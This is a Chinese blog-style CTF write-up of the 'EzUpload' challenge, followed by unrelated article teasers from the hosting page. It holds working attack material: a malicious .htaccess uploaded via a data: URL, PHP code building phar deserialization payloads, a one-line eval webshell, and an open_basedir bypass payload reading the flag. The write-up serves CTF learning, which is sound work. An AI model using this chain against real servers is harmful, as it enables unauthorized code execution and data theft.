news 2026/4/18 12:40:54

从EzUpload到Webshell:一次完整的CTF文件上传与Phar反序列化实战解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从EzUpload到Webshell:一次完整的CTF文件上传与Phar反序列化实战解析

1. 漏洞发现与代码审计

在CTF比赛中,文件上传漏洞一直是高频考点。这次遇到的EzUpload题目看似简单,实则暗藏玄机。我刚开始审计代码时,发现系统对.htaccessphar文件的上传居然没有任何过滤,这立刻引起了我的警觉。

.htaccess文件是Apache服务器的配置文件,能够控制目录的访问权限和文件解析规则。而phar是PHP的归档文件格式,可以包含序列化数据。这两个关键点没被过滤,意味着我们可以通过上传特殊构造的文件来实现服务器控制。

仔细分析题目环境,发现系统提供了文件上传接口,支持两种上传方式:

  • 直接上传本地文件
  • 通过URL远程拉取文件

这里有个细节需要注意:系统对上传文件的扩展名没有严格限制,但会根据文件内容进行简单校验。比如上传PHP文件会被拦截,但修改文件头就可以绕过。

2. 构造恶意.htaccess文件

我的第一个突破口是.htaccess文件。通过上传特定的.htaccess文件,可以让服务器把普通文本文件当作PHP脚本来解析。具体操作如下:

  1. 先创建一个包含以下内容的.htaccess文件:
AddHandler php7-script .txt
  1. 由于直接上传会被拦截,需要将文件内容进行base64编码:
cat .htaccess | base64
  1. 使用data协议上传编码后的内容:
action=upload&filename=.htaccess&url=data:image/png;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0

这个操作成功后,服务器就会把所有.txt文件当作PHP脚本来执行。这为后续的webshell上传铺平了道路。

3. Phar反序列化利用链

接下来要解决的是如何利用phar反序列化漏洞。我发现了题目环境中存在一个dir类,这个类有三个属性:

  • userdir:用户目录
  • url:URL地址
  • filename:文件名

通过分析发现,当这个类的对象被销毁时(比如在反序列化过程中),会执行文件写入操作。这就是我们要利用的点。

构造phar文件的代码如下:

<?php class dir{ public $userdir; public $url; public $filename; } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("__HALT_COMPILER();"); $o = new dir(); $a = new dir(); $a->userdir = '../'; $o->userdir = $a; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>

这里的关键是设置userdir属性,通过嵌套对象实现目录遍历。生成的phar文件需要先上传到服务器,然后通过phar协议触发反序列化。

4. 绕过限制获取webshell

上传phar文件后,需要通过phar协议触发反序列化:

action=upload&filename=&url=phar://upload/cc551ab005b2e60fbdc88de809b2c4b1/1.jpg

这个操作会返回服务器的绝对路径信息,这对后续操作至关重要。得到路径后,我们可以构造一个写入webshell的phar文件:

<?php class dir{ public $userdir; public $url; public $filename; } $a = new dir(); $a->filename = '/var/www/html/4bac3882938ce191/upload/cc551ab005b2e60fbdc88de809b2c4b1/test'; $a->userdir = '<?php eval($_GET[1]);?>'; @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub('GIF89a'."__HALT_COMPILER();"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();

这里有几个技巧需要注意:

  1. 在文件头添加GIF89a伪装成图片
  2. 使用gzip压缩phar文件避免被检测
  3. 利用之前上传的.htaccess文件使txt文件可执行

5. 最终flag获取

成功上传webshell后,还需要绕过服务器的open_basedir限制。我使用了以下payload:

1=ini_set('open_basedir'%2C%20'..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bchdir('..')%3Bini_set('open_basedir'%2C%20'%2F')%3Bvar_dump(file_get_contents('%2FF1aG_1s_H4r4'))%3B

这个payload通过多次chdir跳出限制目录,然后读取根目录下的flag文件。需要注意的是,题目环境每10分钟会刷新一次,所以操作要迅速。也可以编写自动化脚本来完成整个过程。

在实际比赛中,这类题目往往考察选手对PHP特性的深入理解。从文件上传到phar反序列化,再到最终获取webshell,整个过程需要环环相扣。我在解题过程中最大的收获是学会了如何利用phar协议的压缩特性绕过安全检测,这对以后的CTF比赛和实际渗透测试都有很大帮助。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 12:35:54

基于Python的物流信息管理系统毕设

博主介绍&#xff1a;✌ 专注于Java,python,✌关注✌私信我✌具体的问题&#xff0c;我会尽力帮助你。一、研究目的本研究旨在开发一套基于Python的物流信息管理系统&#xff0c;以实现物流过程的自动化、智能化和高效化。具体而言&#xff0c;研究目的可概括为以下几个方面&am…

作者头像 李华
网站建设 2026/4/18 12:35:19

别再手写二分查找了!用Python bisect库5分钟搞定有序数据插入与查找

别再手写二分查找了&#xff01;用Python bisect库5分钟搞定有序数据插入与查找 每次面对需要维护有序列表的场景&#xff0c;你是否还在反复编写那些边界条件复杂的二分查找代码&#xff1f;当处理用户积分榜更新、日志时间戳插入或配置项排序时&#xff0c;手工实现的二分算法…

作者头像 李华
网站建设 2026/4/18 12:30:17

CESM2.1.3完整安装避坑实录:解决checkout_externals失败与xml文件配置难题

CESM2.1.3安装实战&#xff1a;攻克组件下载与配置文件的典型难题 当你在深夜的实验室屏幕前&#xff0c;第十次面对checkout_externals命令的红色报错信息时&#xff0c;那种混合着焦虑与挫败的感受&#xff0c;我太熟悉了。CESM作为地球系统建模的瑞士军刀&#xff0c;其安装…

作者头像 李华